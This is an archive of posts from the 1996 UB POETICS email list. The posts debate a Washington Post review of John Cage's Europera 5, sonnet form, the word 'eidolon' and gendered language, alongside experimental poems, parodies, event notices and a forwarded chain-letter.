2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

46. Jordan Davis
mainstream art critic/apology for commerce
Tue 4 Jun 1996

I think the most amusing thing to say to the Post, Mark, might be something like 'Thank you for printing that beautiful poetry in the middle of your review of _Europera Five_. It's rare that such interesting writing is hidden where everyone can see it.'

As. I missed. My folks. Also happens. Like a lamb. Possibly foppish. Name in Paper. A very sensitive maybe. Review the reviewers. Indubitably. Decontextualizing the left. Why. Mark. Maybe a letter. Page's text and sufficiently brief. The bastards. Lie by! Schtick circa 'Central Park. A given? South in the winter. Colorblind art critic.

By the way, oops re my Rod order back then.

JORD

↑ Index

47. Louis Cabri
Re: client servile
Wed 5 Jun 1996

"Fabrication will produce the banausic mentality"

dented
sands
"banausiacs."
relented,
Brians.
yackety-yack
homologue:

twister,
grog?"
ifster
smooth,
basement--
moos
grincement.

↑ Index

48. k.a. hehir

Re: A science project: if anyone is interested

Wed 5 Jun 1996

---

from what i know this is as the dutch say a -roos. i received the same message a few weeks ago only to be followed by an appy olly ogy from its sender.

for those with interests in irish lit i receive a post from the irish book review every month. it is sent out by the same people who put together the Irish Emigrant. if you are interested, let me know backchannel and i'll forward you the info to set you up.

cheers,
Caoimhin Oh-Eithir

On Tue, 4 Jun 1996,
David Baratier wrote:

> *>*
> *>Why not help the kids out?*
> *>----------*
> *>Forwarded message:*
> *>Subj: Re: Stevie and Amanda's grade school science project >Date: 96-05-28 22:53:31 EDT*
> *>From: MNRedwood*
> *>To:* [redacted]
> *>*
> *>*
> *>>---begin fwd---*
> *>>Hi, our names are Stevie and Amanda. We are in the 5th grade at the*
> *>>Phillipston Memorial school, Phillipston, Massachusetts, USA. We are*
> *>>doing a science project on the Internet. We want to see how many*
> *>>responses we can get back in two weeks. (We are only sending out 2 letters). >>*
> *>>Please respond and then send this letter to anyone you communicate with >>on the Internet. Respond to* [redacted]*.*
> *>>*
> *>> 1. Where do you live (state and country)? >> 2. From whom*

> *did you get this letter?*
> *>>*
> *>> Thank you,*
> *>> Stevie and Amanda >>*
> *>*

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49. henry gould

Re: client servile

Wed 5 Jun 1996

On Tue, 4 Jun 1996 22:44:56 MDT Louis Cabri said:
>"Fabrication will produce the banausic mentality"
>
> dented
> sands
> "banausiacs."
> relented,
> Brians.
> yackety-yack
> homologue:
> twister,
> grog?"
> ifster
> smooth,
> basement--
> moos
> _grincement_.

Looks like hysterical dialectics has produced a new Language phenomenon: the "sonnot". c.f. Princeton Cyclonopedia: "The sonnot, a pre-millenial postprandial development within the larger phenomenon of Language Poetry, was by and large an attempt by a number of pre-colonial post-coastal American poets to de-limit the essence of rhyme; the most common means involved a vaporization of between 6-8 syllables per line excluding ultimate & penultimate glossalalia, leaving the right-hand marginal superstructure to stand like the circular ruins, for example, of the Colosseum in Rome, Idaho - a tourist attraction since the late 19th century, famous for the "pigeon perch", a 60-ft lateral embankment jutting out of the Rocky Mountain feldspar producing conditions for dangerous rain on the surging crowd of visitors below." [pp. 1374; by Elwood F. Pederson, Prof. Em. Boise Univ.] - H. Gould

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50. Gwyn McVay
Re: client servile
Wed 5 Jun 1996

Annie,

elementary school! elementary school!

Gwyn, still short

↑ Index

51. Annie Finch
Re: client servile
Wed 5 Jun 1996

Dear Henry:

"hysterical dialectic?" I thought we might manage to avoid the gender angle this time, though it's hard to avoid when the sonnet or even the sonnot is in question. As Gwyn McVay has observed, "the sonnet described as a short fat know-it-all? Funny, when I was in high school that's how everyone described me."

-A. Crane Finch
aligning thy choiring strings

↑ Index

52. Jordan Davis
b b d o
Wed 5 Jun 1996

Beavis, stop trying to be funny!

↑ Index

53. Oren Izenberg
Re: mainstream art critic nonsense
Wed 5 Jun 1996

Mark,

Why "amazing"? It strikes me that the strong defense of a disjunctive or unconventionally conjunctive or appropriative poetic must entail more than the reflex "now THAT'S poetry" when a skeptical critic tries to make a joke of the enterprise, more than the understandable desire to mock and deride what seems sometimes like a principled refusal to take the experimental seriously. (Although I must say, despite not having seen the review beyond your citation, the

critic's distinction between early and later Cage does not seem "know-nothing" or even terribly conservative, nor, to this reader, entirely absurd.)

One hopes (this one, at any rate) not to surrender the ability to ask questions of an "inclusive" poetics. The work, by virtue of its eventual end, remains (despite our fondest wishes) subject to criteria, however they are to be described-- and in the face of criticism, or mere curiosity, or urgent personal need, perhaps the best response would be to *describe* them, rather than to wink and nudge and congratulate ourselves on their existence and validity.

The alternative, of course, is to write off those who are not *immediately* interested as those who will never understand, and to make of the "community" of writers and readers a cabal (and surely it is already sufficiently demonized in precisely these terms).

Best wishes,

O.

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54. Rod Smith
Re: criticism's face
Wed 5 Jun 1996

re the post review of Cage Oren Izenberg wrote:

> *having seen the review beyond your citation, the critic's distinction between early and later Cage does not seem "know-nothing" or even terribly conservative, nor, to this reader, entirely absurd.*

There was no attempt by the Post writer to contextualize Cage's later work whatsoever. He merely implies that John went crazy after abt 1952. Not very useful.

O. also wrote:

> The work, by virtue of its
eventual end, remains (despite our fondest wishes) >subject to
criteria, however they are to be described-- and in the >face of
criticism or mere curiosity, or urgent personal need, >perhaps the best
response would be to *describe* them, rather than to >wink and nudge

This is exactly what Cage spent a great deal of time doing. It's not whether the Post reporter likes Cage or not, who cares-- It is the perennial problem of getting the press to acknowledge any context other than their own, which is almost always vapid (This is relevant to the Sokal "debate"). The few times in the article when something like information about Cage is hinted at, it's wrong.

Another point which interests me is implied by the phrase "in the face of criticism"-- I've mentioned this before on the list I believe-- there's a logic of justification there which I suppose one could deconstruct. What I mean to say is, too rarely the attitude is one of respect & discussion-- more often it is "explain yourself sufficiently in _my_ terms"-- which seems to me to work against what art can do, is for. & at times I tend to admire those that refuse explanation as explanation, tho this was certainly never Cage's way.

Rod

"Attitude can be interesting"

"Tell me what this is about"

--Tom Raworth

↑ Index

55. David Baratier

Re: nonsuch sonnet includes alletois wrench torque

Wed 5 Jun 1996

Anne,

I thought a reference to eidolon, a known refrain of a poem by Whitman might be lost on you. Especially considering his work was written under the auspice of an organic form, one which secludes him from this discussion.

I like how you manipulated my original quote to fit your purposes, for a sense of "rightness" perhaps? Here's your version. "god is not further revealed to a person who cannot call joy without syllables." There is a crucial change you made here, the replacement of my word which is the english translation of original hebrew characters for a sexless, faceless, spiritual manifestation with your word"joy" so you could agree: True.

I could call this manipulation. As you said "naming is one way things can be approached" but there are also unnameable vacuities inherent in rhetorical functions when applied rather than etherized about. It's part of the field of language resistance, the natural difference between what is written and what is meant.

At this point you start writing about repetition which, in context of this discussion, has nothing to do with the the laconian identification process. Repetition can be the grinding of a idea into a graspable concept. Jack Spicer said: poems only occur in series which Poe iterated in his writings on Milton's Paradise Lost where he found that a person would have to be a fool if they read the piece as one poem, in one sitting. So when you ask "Isn't this [repetition] just a matter of temperament or even phase of life?" I have to

entirely disagree. Unless if you meant in the Yeatsian sense of placing yourself in the 28th phase of the cycle.

When I said "there is no continuum except in terms of the overarching and archetypal; values of written sets of words fluctuate continually" you replied: "[this statement] itself [is] a nonfluctuating value claim, perhaps more dangerous because it is may be tempted to forget its own solidity?" In case you have forgotten the power of the word is always dangerous. The connotational and denotational associative values of my statement are in a state of flux also, as you so rightly point out. Considering the duration this message will survive in e-space, I comfortably assumed a current statement which includes a free lifetime updating.

Be Well.

David Baratier

Here is the sound of a hero
outgrowing his confetti.
--Jeffrey McDaniel

[redacted]

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56. Carnography

Re: nonsuch sonnet includes alletois wrench torque

Wed 5 Jun 1996

David Baratier typed:

> *I thought a reference to eidolon, a known refrain of a poem by Whitman might be lost on you. Especially considering his work was written under the auspice of an organic form, one which secludes him from this discussion.*

Though I don't wish to be dragged, citing and signing, back into the sonnet tussle, I do have to say this:

The word *eidolon* is more than a mere feature of one Whitman refrain. It has been used regularly by several other writers, I'll have you know, including your lonesome. (Indeed, when people speak of *cultural icons*, I've always felt it would be more accurate for them to speak of *cultural eidolons*. If Barney is an important cultural icon, then my wetnurse was the Fountain of Youth.)

My first kidly exposure to the word *eidolon* was in Hart Crane's poem, "Legend" ("Again, the smoking souvenir,/Bleeding Eidolon!"). Galvanized by Crane's energy and metaphysical compression, I immediately wrote a series of wretched imitations with titles like "Eidolon of Love" [sic (ick)]. It never even occurred to me to trace the Bloomlike map of misreading to Whitman and to stop short

there. Whitman might be a great poet, but his diction, however characteristic, is not a claim of referent ownership.

You may argue that Crane was making a deliberate ref. to Whitman (especially in light of _The Bridge_ and other Whitman-meets-the-Symbolists-in-a-play-by-Marlowe-esque works). But you're still suggesting that, without an intimate knowledge of Whitman's diction, A.F. is insufficiently literate to be part of this discussion. To which I say: should we write out an idiosyncratic reading test, complete with trick questions, give it to you by means of embedded references, grade you on the test, and bring it up whenever we disagree with one of your points? Knowledge ought to be shared, not hoarded.

Also: Why suggest that a person who speaks passionately of formal verse is ignorant of all other kinds? I, too, am less familiar with Whitman than I ought to be. But that comes from having him quoted to me by an aunt ("I saw a noiseless patient spider, blah blah blah") until I developed a blind spot, not because I disapprove of Whitman's prosody.

> *I like how you manipulated my original quote to fit your purposes, for a sense of "rightness" perhaps?*

(Suspiciously) I like how you imbedded this ad hominem interpretation of Finch in your letter. A subliminal message meant to activate some Manchurian Candidate, perhaps?

(It's hard enough to understand an opposing point of view without attributing nasty motives to the speaker.)

> *I could call this manipulation.*

And I could call this ad hominem (see above).

> *In case you have forgotten the power of the word is always dangerous.*

Or impotent, depending on the reader and the context.

Finally, this is to Annie Finch, who said,

> *"hysterical dialectic?"*
> *I thought we might manage to avoid the gender angle this time, though it's hard to avoid when the sonnet or even the sonnot is in question.*

The word *hysterical* is not sexist unless it is used etymologically. Context, I would think, plays a part in any use of the English language-- which, if you think about it, is embedded with sexist implications. Any writer ought to be free to use any word without taking a political litmus test--even when the word has an ugly etymological past.

All the best,

Rob Hardin

http://www.interport.net/~scrypt

↑ Index

57. George Bowering

Re: client servile

Wed 5 Jun 1996

> *Annie,*
>
> *elementary school! elementary school!*
>
> *Gwyn, still short*

Or as USAmericans pronounce it, "elemenary" school.

.....
"I've enjoyed just about as much of this as I can stand."
--Bobbie Louise hawkins

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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58. Tim wood

Re: A science project: if anyone is interested

Thu 6 Jun 1996

As I found out when I happily went off and not only responded, but forwarded the message, this event is history. Apparently it happened sometime ago and was even picked up by the NY Times. It was discontinued after their service provider overloaded on 10-100 posts a second. Ouch.

Tim Wood

> *Subject: Re: A science project: if anyone is interested*
> *Sent: 06/05 12:39 AM*
> *Received: 06/05 9:44 PM*
> *From: k.a. hehir,* [redacted]
> *Reply-To: UB POETICS List,* [redacted]
> *To: UB POETICS List,* [redacted]

> *from what i know this is as the dutch say a -roos. i received the same message a few weeks ago only to be followed by an appy olly ogy from its sender.*
>
> *for those with interests in irish lit i receive a post from the irish book review every month. it is sent out by the same people who put together the Irish Emigrant. if you are interested, let me know backchannel and i'll forward you the info to set you up.*
>
> *cheers,*
> *Caoimhin Oh-Eithir*
>
> *On Tue, 4 Jun 1996,*
> *David Baratier wrote:*
>
> > *>*
> > *>Why not help the kids out?*
> > *>----------*
> > *>Forwarded message:*
> > *>Subj: Re: Stevie and Amanda's grade school science project >Date: 96-05-28 22:53:31 EDT*
> > *>From: MNRedwood*
> > *>To: [redacted]*
> > *>*

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59. Mark Wallace
Cage, and information
Thu 6 Jun 1996

Re Oren Izenberg's post:

Yikes! I actually thought this poetics list was at least primarily for people who had some awareness about the history of experimental artistic practice, and so I could perhaps pass along what seems to me a pretty obvious joke and others would get it. It seems probably that mostly they have, but for some I guess I'll have to explain myself more fully. Please see Rod Smith's post yesterday for another elucidation of why it is ridiculous to dismiss all of Cage's work after 1952 (and is there anybody on this list other than Mr. Izenberg who thinks such a thing is even a conceivably respectable position? I hope not.)

To take only several points, the idea that Cage's work is about "making no distinctions" is utterly preposterous, and based on no awareness of the absolutely intense distinctions Cage is making about the problem of defining what makes something "music." Whatever his "quiet gentleness" (this Tim Page guy is really a scream) Cage's work, among many others things, is a direct assault

on the totally limited context of what constitues "music" in western culture--Cage wants us to hear the sound all around us that is inevitably repressed by the idea that only a certain range of sounds are available for music. Mr. Page, of course (Cage/Page, too much huh?) wants precisely all the trappings of "high" classical music that Cage has no use for and so can't hear him at all.

Secondly, the idea that Cage's later work "has no point" must, I suppose, be based on the idea that the twenty or so books (many more? please help here, Rod) Cage wrote elucidating the incredible complexity of his practice (and which is not just theoretical--it's there in the recordings) must be irrelevant. Or perhaps Page hasn't read them? Now THERE'S a thought! What Page means by "has no point" I guess should really be "calls into question on almost every level each one of my bourgeious presuppositions and eliminates them from further serious intellectual consideration." I'm not actually going to go into great detail on what Cage says about the limited structures of western music and how he intends to go about expanding their limits by incorporating non-melodic, supposedly non-musical sounds into a sound landscape that shows how the sound of a musical performance is inevitably related to the sound that exists beyond the bounds of the performance itself, and how doing such a thing reveals the way in which western artistic culture has often intended to eliminate whole ranges of experience from artistic possibility. Do I really need to go into things on this basic a level on this list?

Of course, I was kidding somewhat in calling Page's short little disjunctive blurb "wonderful poetry." But I did find it somewhat interesting that he actually managed to present a good approximation of disjunctive new sentence prose poem in what is otherwise a massive peon to ignorance. Of course, I'm getting the feeling now that maybe I'm being presumptive in assuming that everybody on this list knows what the New Sentence is (with my apologies to those who do).

I suppose my friend Marc Scroggins is going to tell me I'm being pugnacious again. But geez, Marc, look at what I have to put up with. There would be value in being polite, I suppose, to people who were engaging with experimental work seriously and who, even if uniformed, were asking questions seriously. But the flippant, uninformed sneering dismissal that Page offers in the Post as serious criticism deserves no politeness because it does not intend to be polite, or to engage on any real level with one of the most significant musical and literary artists of this century. And the idea that Mr. Izenberg thinks that such a position is reasonable (and would seem reasonable to people on this list) is pretty much flabbergasting.

Mark Wallace

(and a brief plug for Joan Retallack's new book on Cage, which I hope Rod will talk about in more detail)

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60. Aldon L. Nielsen
Re: alas, eidolon
Thu 6 Jun 1996

---

my wetnurse achieved cold fusion in the kitchen sink
there was no joy in mudville

the world was all
that mighty casey struck out

↑ Index

61. David Golumbia
Re: Cage, and Page informixion
Thu 6 Jun 1996

I resent bitterly the accusations being thrown about on POETICS regarding the relative value of works by Messrs. PAGE and CAGE. While I understand various persons' opinion regarding said Cage's infamous short silent "Four Sticks (and Thirty Three Twigs)" I must invariably rate it of intenser value than Page's neo-classical attempts to invigorate Baroquial musiks through use of violin bow apres e-bow electrified bass. Until the death of John Bonham, I appreciated Cage's "quiet gentleness" in the many stadium shows fronting with Joyce mesostics "Sick Again," "Boogie with Stu," "The Lemon Song." The fact that Page has such difficulty with guitar recently was no justification for him to attack his prior ally. Only death of Cage prevented the anticipated "No Quarter-tone" reunion tour, though rumored that Cage & Page forgot David Tudor's phone #. Why such hostility in arts comunity? I have bootleg of A. Baraka doing "Trampled Under Foot" with Cage on triple-neck that will blow all minds, will trade for good quality tapes of Ben Bradlee w/Allman Bros or plain Bros.

--
[redacted]
David Golumbia

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62. David Baratier
nonsuch sonnet impotent lifetime guarantee
Thu 6 Jun 1996

Rob Hardin,

I sincerely apologize for having irked your ire by not mentioning your own work in the eidolon discussion. Eidolon is more than a mere feature of one Whitman refrain. It has been used regularly by several other writers. While I could bring Hart Crane, yourself, or HP Lovecraft "the putrid, dripping eidolon of unwholesome revelation" into the discussion, I still am unaware of an earlier poetic reference than Whitman and was instructed at an early age to always return to the source.

I will argue that Crane was making a deliberate ref. to Whitman. I am suggesting that without using your arms to open an OED to refute my point (anyone's for that matter), or to find out what any unknown word means, one arrives to the discussion sufficiently lazy enough to speculate on what is being said and offer their opinion, instead of their knowledgable experience.

In answer to your question "Why suggest that a person who speaks passionately of formal verse is ignorant of all other kinds?" It's hard enough to understand an opposing point of view without attributing nasty motives to the speaker.

As I said previously:
In case you have forgotten the power of the word is always dangerous.

To which you responded:

> Or impotent, depending on the reader and the context.

Thank you, this has broadened our discussion this much.

I suggest that if we continue this thread in a manner worth replying to, that we talk about how to determine which strings of words fit into a particular form, what aspects of words (phonemem, morpheme, arragement, connotational value, associative change of these values, etcetera) solidify in our minds which forms are to be used, as charles (chax) mentioned a while back.

Be well,

David Baratier

I'd rather be in Espana
pegging pernod through a pajita
or yagrelling a luk
jedamput en Jugoslavie,
jowels wide & yowels not
permitted to emerge--

--Paul Blackburn

↑ Index

63. Annie Finch
Re: nonsuch sonnet includes alletois wrench torque
Thu 6 Jun 1996

Dear Rob,

True, the word hysterical is not always sexist, and perhaps my consciousness of being greatly outnumbered genderwise in recent discussions coupled with my recent thinking about connections between gender and formalism (see intro to A Formal Feeling Comes) led me to jump the pearl-handled pistol on Henry's phrase. It never hurts to remind writers of the etymological unconscious of their language, though, does it? (The day I responded, I had also read a review of a new book on Hysteria pointing out that though the most common hysterical patient in Freud's day was male, Freud omitted any discussion of male hysterics in his work on the subject). David, I'm very sorry about transmuting your word into "joy." It was actually technical wrongness that led me to it, since the program I use at home can't quote text so I was working from memory in quoting you--and also, you may remember I have been prone to typos myself and probably thought I was doing you a favor in changing jwy to joy, though I should have noticed how odd the one apparent typo seemed in an otherwise flawless text. My fawwlt! I've been wanting to tell you how much I liked your "sonnet" from a ways back, by the way. As for eidolon, like Rob I thought of Crane first, and hence responded by dragging out my middle name (no relation). The question mark questioned your characterization of me as shouting eidolon from rooftops. Annie--eidolon shouter? was the purport of my signature. I've spent some time on Whitman and have a chapter on him in The Ghost of Meter, though that prefatory poem is not one of my favorites. I agree with Rob about litmus tests. --A.R.C. Finch

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64. Herb Levy
Re: mainstream art critic
Thu 6 Jun 1996

One thing that needs to be made very clear in regard to the Tim Page review of Cage's Europera 5, is that Page is NOT simply a yahoo with no experience with music later than Debussy & Ravel.

As the primary music critic for the Soho Weekly News 15-20 years ago he heard, and reviewed intelligently, LOTS of new music. More recently, he produced a series of CDs for BMGs Catalyst label which, again, while not always to my taste, showed an awareness of a fairly wide range of recent music, some of which I respect & some of which I don't (composers in this se4ries include off the top of my head, Alvin Curran, Philip Glass, Arvo Part, James McMillan, Toby

Twining, as well as a selection of Cage's piano music, including at least one piece composed well after 4'33").

In other words, while I haven't always agreed with Page's opinions (& certainly like later Cage more than he appears to), he has a pretty strong background in the field.

There are a couple of things to consider here. First, newspaper articles are not solely written by the signator, copy editors can & do, change things quite a bit. They won't (usually) change the stated opinion of a reviewer (& I assume that Page honestly didn't like Europera 5), but they can & frequently do, change the emphasis & drop supporting arguments in reviews on the theory that people reading newspapers do not want to read criticism in any sense that we might agree on a definition of the term, but rather that newspaper readers simply want to know if they should spend money on going to the show. That's the point of all of those four-five star, thumbs up or downor other rating systems. This is consumer news, not considered, balanced criticism.

The other point to consider here, though, is whether it makes sense to use the work of Cage, or of any artist, as a kind of litmus test.

I can see this both ways, but I'm not the first to note that there is very little, if any, agreement on the relative value of specific poetry among those of us who subscribe to this list. I'm not sure that I can imagine what writers would be ranked most important, most influential, most popular, most likely to succeed, best dressed, most congenial, etc. if all 400 members of poetics were to vote on it. It would be interesting, but useful?

Herb Levy
[redacted]

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65. Ira Lightman
Is John Cage conceptual art, music, what?
Thu 6 Jun 1996

Hallo everyone. I've said a few things about John Cage before on POETICS but, since I've just re-joined, and very little of the viewpoint I tried to argue for once before is represented in this new outbreak of Cage discussion...

I wonder what we're defending when we're defending Cage? How many are defending him out of a love of 20th century (or all) music, out of a pleasure in 20th century music, and out of an ongoing wish to stand up for an

important human activity, and consciousness?

I myself would be no friend of Mr Page, the, as Mark said, mainstream critic; I'm not presenting a reactionary position, as I'm very keen on many of Cage's contemporaries, who, it seems to me, rarely or never get namechecked, written about, festschrifts to, by the writers on this list, the writers who publish books away from this list, and indeed many poets or writers who think of themselves as, or proclaim themselves as, experimental artists. If we are experimental artists, it seems a fair assumption, that many I read and know make, that we be interested in all experimentation in all arts, and criticism and essays by experimental writers on, for example, music, seem to exude this assumption (eg the Joan Retallack book on Cage, mentioned, and the work on Cage in Marjorie Perloff's excellent - ie for me, great case for the generative power of Cage's aesthetics and example - book, Radical Artifice).

My worry is that these two books start and stop consideration of music with Cage.

That the fact he was, for me, a great writer, an even greater interviewee, as illustrated by memoirs of his conversation in Rod Smith's Aerial on him, in Radical Artifice, in Cage's biography. I love his pre-chance prepared piano sonatas, I love many experimental musicians' use of chance, I don't like Cage's, the many I've heard on disc, just one I heard on radio that (and I do not say this to be trivial, as I am an insomniac) put me into the most blissful sleep as I concentrated on it, waking exactly as the radio programme ended. I hope Cage would be pleased, not trivialised, by this reaction.

My closest composer-friend, Mike Higgins, once said to me, when I told him how sad I was when I heard that John Cage had died, that for him he was sad but sadder still that, the same summer, Olivier Messiaen died. Messiaen was older and, given the upheavals of 1950's new music and, for example, Pierre Boulez' punk-like glee in titling an essay "Schoenberg is dead!" (Boulez' exclamation mark). Boulez' implication was that things had to move faster, that one major upheaval, serialism, was not enough, but it must reach "its" (ie Boulez's assumption) "evolution" in total serialism.

This excites me, as I love the 50s composers most of all.

Then, it seems to me, Cage proposes a further furthering, and proposes that this too evolves the form and makes the earlier work dull or even redundant ie his own work.

My difficulty with this is that Schoenberg made people listen harder, for shape and configuration, and not wallow in a general feeling awaiting beauty, resolution of harmony, the manipulation of a fixed set of possible sequences of notes; this meant having to know an instrument, having to know keys, and thus opening up, afresh, a way of hearing the world away from the concert hall ie having the awful knowledge of key meant that you could then hear that sounds, like cars and birds, were not just noise or sound, but transcribable music (see Messaien's pieces using transcription of bird song played by violin).

Going earlier to go later, one might say that one of the last powers that Debussy rang from the old harmony was to compose long modulating phrases slowly becoming other phrases - something akin to Henry James' prose style - so that the listener went away into the world hearing all the aftermath of each sound, the sine wave of a car revving, approaching, and departing; to make the listener think of sound as, to think of Derrida, not beads with borders on a necklace, but that we think of them that way, hearing only a part or peak of the wave of the whole sound, its geography and history, and classifying it only as a sign for the short peak in which we hear it (or bother to listen for it).

The total serialists, to me, took this up, by focussing on slow sounds building and falling, texture, all the sound of sound.

If that is nasty horrid Western classical music, then it is also the nasty horrid thing that has helped me enrich my senses.

My worry is that a lot of writers like Cage because one doesn't have to do this hard work, this ground work, in listening, and learning an instrument,

like the piano, rather than learning how to riff in
the small range of keys available to R&B. Thus, goodbye
to nasty horrid (impotent, ignored, widely hated)
Western classical music, goodbye hard work, hallo
an easily graspable principle mastered and you can
call yourself musical and a musician. Okay, not all
bad as self-empowerment, but not if the self-empowerer
then disempowers, marginalises, and even stigmatises,
alternative classical music of the same era, by, in
Stockhausen and others' cases, exact contemporaries
to Cage.

Ira Lightman

P.S. I'm partly inspired to write after hearing Steve
Reich's Drumming, source for Ron Silliman's Ketjak,
which I found similarly dull, easy to get into,
compared to Indian classical music or, most wonderful
of all for abstract expressionist rhythm, Xenaxis'
Plaides.

↑ Index

66. Blair Seagram
M/E/A/N/I/N/G
Thu 6 Jun 1996

I received in the mail last week the The latest edition of M/E/A/N/I/N/G - 19/20 "Special All-Visual Double Issue".

A visual feast full of variety. Congratulations to editors Susan Bee and Mira Schor. If my subscription included only this issue it would have been worth it.

Blair

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67. Oren Izenberg
Re: mainstream art critic
Thu 6 Jun 1996

I can assure Mr. Wallace that he need not conduct an introductory tutorial in experimental music or in the New Sentence for my benefit. I give thanks for your expressed (if exasperated) willingness to "put up" with me; no doubt I will limp along without such kindnesses.

Mark Wallace seems to have concluded that the point of my post was primarily to express (or endorse) a preference for early John Cage over late-- apparently this is an outrageous preference and no doubt I should have kept it to myself to avoid offending local orthodoxies. I did not, I acknowledge, offer reasons-- that the opinion was parenthetical may be an insufficient excuse, but it is mine own-- which apparently leads to the conclusion that I can have none because there are none. I certainly did not imply that Mark Wallace or any other member of the poetics list shared such opinions; but I had hoped (and this *was* the point of my post), was that the expression of an opinion, in the recalcitrant press or on this list, might provoke discussion rather than invective. I did fail to catch the humor of a post that called Mr. Page stupid and uneducated (as I failed-- and no doubt I am somewhat humorless on this score-- to be amused by the one that imputed to me massive ignorance of matters poetical); he is neither, and I doggedly refuse to acknowledge that engaging with "such" people, reiterating and expanding our own understanding in the process, is a pointless exercise. Herb Levy and Ira Lightman, most recently, have eloquently demonstrated otherwise.

In response to Rod Smith-- I (sometimes) share your qualms about explanation qua explanation; since the offending article was a piece of criticism, it was primarily that genre and that forum for discussion I had in mind (although "mere curiosity and urgent need" were meant to suggest other provocations to inquiry, not quite as provoking or "in your face). Not all artists will, or need, explain themselves as well or thoroughly as Cage. Explanation may become a burden to the artist who feels obligated to terms and discourses other than, or parallel to, those of the art; but I do see critical explication as one among the many imperfect forms of acknowledgement; and incidentally, the one most likely to reach the traditionalist or the skeptic. Your Watten issue of Aerial (the most recent I have seen, and on which congratulations) suggests a similar belief; it pursues "explanation" on many fronts, in many forms: critical essay, conversation, "composition"-- to powerful effect.

Best wishes.

O.

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68. Jordan Davis
litmus party
Thu 6 Jun 1996

If school had been more about litmus tests, which were almost as exciting to watch as developing polaroids, I would not have dropped out, hitchhiked to alaska, and died eating the wrong kind of berry.

That said, I'd like to invite all of you ex-senators and -lion tamers to a freeforall poetry party at POETRY CITY (5 Union Sq W, NYC) tonight, 6:30, which party will be punctuated by two readings--one by fiction writer Brenda Williams, and the other by poet and recent Brown MFA graduate Rosa Alcala Diaz.

Jordan Davis

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69. Rod Smith

Re: Is John Cage conceptual art, music, what?

Thu 6 Jun 1996

> My worry is that a lot of writers like Cage
because one doesn't have to do this hard work, this
>ground work, in listening, and learning an instrument,
>like the piano, rather than learning how to riff in
the small range of keys available to R&B. Thus, goodbye
>to nasty horrid (impotent, ignored, widely hated)
Western classical music, goodbye hard work, hallo
>an easily graspable principle mastered and you can
call yourself musical and a musician. Okay, not all
>bad as self-empowerment, but not if the self-empowerer
then disempowers, marginalises, and even stigmatises,
>alternative classical music of the same era, by, in
Stockhausen and others' cases, exact contemporaries
>to Cage.

Ira, thanks for your considerations-- however this last bit makes me wonder how much of the late Cage you've heard. There are a number of pieces for virtuoso which were composed by working closely with musicians to find out what was considered "impossible" on their instrument & then to include that in the score-- John did this, he sd, to demonstrate "the practicality of the impossible." The pieces are _Etudes Australes_ (for piano), _The Freeman Etudes_ (for violin), and _Etudes Boreles_ (for cello). All are long suites which involved a substantial amount of time to compose, & even greater amount of time for performers to master. Seems what you've heard might be some of the quiet number pieces or Ryoanji (not the orchestral version). You might enjoy a late .piece called Quartets I-VIII, which makes astonishing use of, yes, harmony.

I listen to & read Cage precisely because of the genuinely useful complexity of the work-- if his work at times seems "easy" it's for the same reason that Picasso made painting look "easy." I'd also like to note that through Cage I was introduced to a number of composers such as Stockhausen, Wolff, Boulez,

Harrison, Feldman, Takemitsu-- so I have no sense of their being marginalized by Cage or anyone else.

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70. Rod Smith

Re: Is John Cage conceptual art, music, what?

Thu 6 Jun 1996

---

continuing my last post after chance sent it off prematurely.

I agree with you Ira, that there are some missing feschrifts for composers other than Cage. I'd most like to see a good Feldman book, & have toyed with the thought myself. Also, is their anything out there in terms of a good new music publication like _Ear_ used to be. Something that would cover say Frissell, Le Baron, & unkowns? Also, to note, there's a new book on Nancarrow from Cambridge (overpriced hc, but looks very good).

Oren-- yes, explanation. I seem to have a split in my personality that way. I suppose it comes down to, as I said, justification. It seems to me so often that an artist is called upon to explain their right to do something, sorry, I ain't wid that-- whereas explanation is just that, an offering of context to allow further entrance to the work-- Duchamp & Johns come to mind.

Cld go on but have to go to work, erk.

Rod

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71. Robert Drake

Re: Is John Cage conceptual art, music, what?

Thu 6 Jun 1996

> *Also, is their anything out there in terms of a good new music publication like _Ear_ used to be....*

Musicworks, out ov toronto. interesting running commentary fr the past few issues on Cage, but much more on emerging composers, as well as a broad spectrum of audio arts... a personal fave.

luigi

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72. Eryque Gleason
proto proto yahoo
Fri 7 Jun 1996

scene 1: i've just taken another look at chris funkhouser's essay on hypertext/media. i think it's well worth the visit, it seems to be a good middle ground between high-end thinking about hypertext (that's inaccessible to most folks) and the absurdly reductive stuff i've seen on t.v. i think chris has found a good level for introductory material as well as a good collection of links that won't bore those that have read much hypertext, or much about hypertext.

scene 2: i'm sure many of you eat chinese food, i need fortunes and lots of 'em. they don't even have to be very good ones. i'd prefer them to be mailed to me in the original post-cookie form, taped to a postcard or somesuch, but i'll gladly accept them by email as well.

scene 3: and horoscopes. i need horoscopes too, but preferably only pretty durn good ones.

contributors will recieve a personalized thank you presented on handsome email, suitable for framing.

happy summering, everyone! and remember: chinese food good. u.s. postal service mediocre, but all we've got for now.

thanks,
eryque

Eryque "Just call me Eric" Gleason
817 Myrtle Ave, 2nd floor
Albany, NY 12208-2607

[redacted]

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73. Thomas M. Orange
dodecaphony as generative grammar
Fri 7 Jun 1996

Listfolks,

Has anyone heard of a book by Frederick Udahl (sp?) called something like "The Twelve-tone System as Generative Grammar" or "Towards a Generative Grammar from Twelve-Tone Music"?

Thanks,
Tom Orange
[redacted]

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74. henry
Re: hysterical dialiects
Fri 7 Jun 1996

Is the word "hysterical" a sexist term? That's news to me, though I'm aware of its sexist usage in such phrases as "hysterical female". I used it in what I assumed was a "gender-neutral" way. It's also slang for "hilarious". I understand Annie was only saying I was inserting "gender" into the sonnet/sonnot discussion. I guess it depends on how you hear that word - and maybe I should be hearing more in it.

"hysterica passio...
...our tongues are quibbled
On a wheel of fire, and tis the upshot of our deeds
Will ring yon neck of our embittered
Rhetorick, dear cuz..." [King Lear, Act VII, scene 43]

